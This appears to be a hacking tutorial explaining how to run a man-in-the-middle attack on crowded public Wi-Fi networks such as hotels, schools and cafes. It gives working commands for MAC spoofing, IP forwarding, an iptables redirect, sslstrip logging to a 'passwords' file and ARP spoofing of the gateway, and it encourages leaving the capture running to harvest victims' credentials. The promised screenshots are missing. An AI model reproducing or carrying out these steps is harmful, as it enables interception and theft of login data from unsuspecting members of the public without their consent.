The first thing which is preferred is that you should be connected to a wireless AP/wired AP that is in return connected to the internet. A good method of maximizing the effect of this attack is to target wi-fi networks with as many clients as possible, preferably in a public place.
Prime examples are unsecured networks in hotels, schools, offices, cafe's and any free public wi-fi spots. These are great as they don't require any cracking!
Spoofing your MAC address-
If you want to be safe then it is a good idea to spoof your MAC address, luckily for this attack you don't need a wireless card capable of packet injection any card should do fine. This means that you only need to type the following into a terminal in order to change your MAC address,
ifconfig wlan0 down
macchanger -s wlan0
macchanger -m 00:11:22:33:44:55 wlan0
ifconfig wlan0 up
First of all, you need to turn on packet forwarding on your system, so that you could smoothly sent the packets of the victim, to the destined server through your system.
echo "1" > /proc/sys/net/ipv4/ip_forward
Also, you need to change IP tables, to be suitable with the MiTM attack.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sslstrip -w passwords
This will forward all wi-fi traffic back to the client so no one gets suspicious. It will also create a document on your desktop called "passwords" . SSLStrip is used to strip off the s from https,
and make the data transfer in plaintext, as it is with http.
Now leave that terminal open and open a new one. Now we need to find out the name of the gateway that we will be redirecting traffic to. To do this simply type "route" into the terminal and wait for a minute.
You should see something like this:
As you can see from this the gate way that my wi-fi traffic is going through is called "BThomehub.Home"; and the interface connected is wlan1 . We will now use this info when entering the next command.
The code to start arpspoofing is arpspoof -i <interface> <gateway>
This will commence the MITM attack the screen should look something like this:
Now leave both of the open terminals running, they are now capturing all of the data sent across the wi-fi. Have a coffee, do your homework, go to a meeting. The longer you leave it the higher chance you will have of catching something juicy!